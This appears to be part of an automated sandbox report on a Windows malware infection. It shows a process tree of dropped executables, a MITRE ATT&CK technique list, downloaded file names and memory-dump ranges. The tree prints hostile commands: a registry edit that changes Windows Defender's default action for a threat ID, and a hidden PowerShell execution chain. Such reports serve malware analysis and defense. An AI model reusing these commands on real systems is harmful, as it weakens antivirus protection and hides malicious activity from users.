C:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exeC:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\7zS65F4.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zS65F4.tmp\Install.exe 1g /rjJdidrwmJ 385118 /S1⤵
- Executes dropped EXE
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 61⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"1⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
3Modify Registry
7Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
config.ini
i18n.ini
33da640378.exe
setup.ini
buildjudit.exe
33333.exe
e42a62ac03.exe
fileosn.exe
lumma1234.exe
Newoff.exe
gold.exe
swizzzz.exe
file300un.exe
4.exe
360base.dll
360TSCommon64.dll
CrashReport64.dll
SysSweeper.ui.dat
360searchlite_theme.ui
default_theme.ui
360SafeWallet.xml
DataDriv.dat
wd.ini
dsurls.dat
360ipc.dat
360netd.dat
360netr.dat
filemon.dat
regmon.dat
libdefa.dat
drvmon.dat
art.dat
dsr.dat
dsconz.dat
bp.dat
pic_01.jpg
DsRes64.dll
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
360SPTool.exe.locale
360procmon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
nptswp.dll.locale
cloudsec3.dll.locale
appmon.dat
libleak.dat
360drwht.dat
explortu.exe
_cffi_backend.pyd
_websocket.pyd
_rust.pyd
libssl-1_1.dll
select.pyd
TmpC1D9.tmp
__PSScriptPolicyTest_5qikt4ue.duv.ps1
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_overlapped.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_helpers.pyd
_http_parser.pyd
_http_writer.pyd
libcrypto-1_1.dll
libffi-7.dll
_multidict.pyd
python3.dll
python310.dll
sqlite3.dll
stub.exe
unicodedata.pyd
vcruntime140.dll
_quoting_c.pyd
360P2SP.dll
One.exe
svhoost.exe
5Aad9AAuGIvN6LlgWnn5GzIS.exe
7FM8iuCzZV6rldTz5gJbTozT.exe
fjooKk1IyHRFBhy4sEeirYiQ.exe
wIjKrZXdY2R7LGUUCh04YpES.exe
gpt.ini
memory/724-246-0x0000020031A70000-0x0000020031A92000-memory.dmp
memory/1172-482-0x00000215B6F30000-0x00000215B6F6C000-memory.dmp
memory/1172-505-0x00000215B7370000-0x00000215B7376000-memory.dmp
memory/1172-506-0x00000215B8D00000-0x00000215B8D5C000-memory.dmp
memory/1196-52-0x0000000000B00000-0x0000000000FB9000-memory.dmp
memory/1196-39-0x0000000000B00000-0x0000000000FB9000-memory.dmp
memory/1204-454-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-72-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-502-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-464-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-461-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-426-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-458-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-414-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-250-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-447-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-443-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1204-444-0x0000000000A40000-0x0000000001033000-memory.dmp
memory/1348-0-0x0000000000DC0000-0x0000000001259000-memory.dmp
memory/1348-15-0x0000000000DC0000-0x0000000001259000-memory.dmp
memory/1348-1-0x0000000077406000-0x0000000077408000-memory.dmp
memory/1348-5-0x0000000000DC0000-0x0000000001259000-memory.dmp
memory/1348-2-0x0000000000DC1000-0x0000000000DEF000-memory.dmp
memory/1348-3-0x0000000000DC0000-0x0000000001259000-memory.dmp
memory/1464-378-0x0000000000FB0000-0x0000000000FB1000-memory.dmp
memory/1528-597-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/1528-601-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/1884-596-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/1884-599-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/1992-234-0x0000000000400000-0x0000000000592000-memory.dmp
memory/2092-270-0x00000000057E0000-0x0000000005D86000-memory.dmp
memory/2092-305-0x00000000065C0000-0x00000000065DE000-memory.dmp
memory/2092-272-0x00000000052A0000-0x00000000052AA000-memory.dmp
memory/2092-333-0x0000000006930000-0x000000000696C000-memory.dmp
memory/2092-271-0x00000000052D0000-0x0000000005362000-memory.dmp
memory/2092-322-0x0000000006E40000-0x0000000007458000-memory.dmp
memory/2092-323-0x0000000006990000-0x0000000006A9A000-memory.dmp
memory/2092-269-0x00000000008C0000-0x0000000000912000-memory.dmp
memory/2092-334-0x0000000006AA0000-0x0000000006AEC000-memory.dmp
memory/2092-324-0x00000000068D0000-0x00000000068E2000-memory.dmp
memory/2092-417-0x0000000007D70000-0x0000000007F32000-memory.dmp
memory/2092-399-0x0000000006BE0000-0x0000000006C46000-memory.dmp
memory/2092-402-0x0000000007560000-0x00000000075B0000-memory.dmp
memory/2092-418-0x0000000008470000-0x000000000899C000-memory.dmp
memory/2092-303-0x0000000005E10000-0x0000000005E86000-memory.dmp
memory/2484-448-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2484-450-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2552-304-0x0000000000BB0000-0x0000000000C02000-memory.dmp
memory/2960-407-0x000000001D220000-0x000000001D25C000-memory.dmp
memory/2960-408-0x000000001D840000-0x000000001D8B6000-memory.dmp
memory/2960-405-0x000000001D330000-0x000000001D43A000-memory.dmp
memory/2960-406-0x000000001BE10000-0x000000001BE22000-memory.dmp
memory/2960-343-0x0000000000080000-0x00000000000EC000-memory.dmp
memory/2960-411-0x000000001E590000-0x000000001EAB8000-memory.dmp
memory/2960-410-0x000000001DE90000-0x000000001E052000-memory.dmp
memory/2960-409-0x000000001BE50000-0x000000001BE6E000-memory.dmp
memory/2996-53-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-446-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-419-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-249-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-462-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-413-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-459-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-441-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-456-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-581-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-465-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-442-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/2996-453-0x00000000003D0000-0x0000000000889000-memory.dmp
memory/3372-504-0x0000000000400000-0x0000000002CAB000-memory.dmp
memory/3664-585-0x0000000140000000-0x0000000140BD8000-memory.dmp
memory/3664-582-0x0000000140000000-0x0000000140BD8000-memory.dmp
memory/3664-586-0x0000000140000000-0x0000000140BD8000-memory.dmp
memory/3664-584-0x0000000140000000-0x0000000140BD8000-memory.dmp
memory/3664-583-0x0000000140000000-0x0000000140BD8000-memory.dmp
memory/3756-436-0x00007FF77D4E0000-0x00007FF77E715000-memory.dmp
memory/3756-381-0x00007FF77D4E0000-0x00007FF77E715000-memory.dmp
memory/3844-689-0x00000000058F0000-0x0000000005956000-memory.dmp
memory/3844-235-0x00000000004C0000-0x00000000004C1000-memory.dmp
memory/3844-1481-0x00000000070B0000-0x0000000007146000-memory.dmp
memory/3844-683-0x0000000005100000-0x0000000005122000-memory.dmp
memory/3844-682-0x0000000005150000-0x000000000577A000-memory.dmp
memory/3844-681-0x0000000004A20000-0x0000000004A56000-memory.dmp
memory/3844-233-0x00000000004C0000-0x00000000004C1000-memory.dmp
memory/3844-858-0x0000000005EB0000-0x0000000005ECE000-memory.dmp
memory/3844-725-0x0000000005AB0000-0x0000000005E07000-memory.dmp
memory/3844-1482-0x00000000063C0000-0x00000000063DA000-memory.dmp
memory/3844-949-0x0000000005F40000-0x0000000005F8C000-memory.dmp
memory/3844-1483-0x0000000006410000-0x0000000006432000-memory.dmp
memory/4120-449-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4120-451-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4292-348-0x0000000001180000-0x0000000001181000-memory.dmp
memory/4480-347-0x0000000000400000-0x0000000000455000-memory.dmp
memory/4480-357-0x0000000000400000-0x0000000000455000-memory.dmp
memory/4576-397-0x00000000012C0000-0x00000000012C1000-memory.dmp
memory/4620-379-0x0000000000400000-0x0000000000459000-memory.dmp
memory/4620-377-0x0000000000400000-0x0000000000459000-memory.dmp
memory/4700-460-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-457-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-415-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-412-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-18-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-19-0x0000000000631000-0x000000000065F000-memory.dmp
memory/4700-20-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-445-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-21-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-452-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-73-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-74-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-455-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-425-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-463-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-501-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-252-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-251-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4700-594-0x0000000000630000-0x0000000000AC9000-memory.dmp
memory/4868-380-0x00007FF7E8820000-0x00007FF7E92F5000-memory.dmp
memory/4868-440-0x00007FF7E8820000-0x00007FF7E92F5000-memory.dmp
memory/4900-507-0x0000000000400000-0x0000000000408000-memory.dmp
memory/4932-396-0x0000000000400000-0x000000000063B000-memory.dmp
memory/4932-398-0x0000000000400000-0x000000000063B000-memory.dmp
memory/5676-2603-0x0000000006330000-0x000000000637C000-memory.dmp
memory/5676-2574-0x0000000005BF0000-0x0000000005F47000-memory.dmp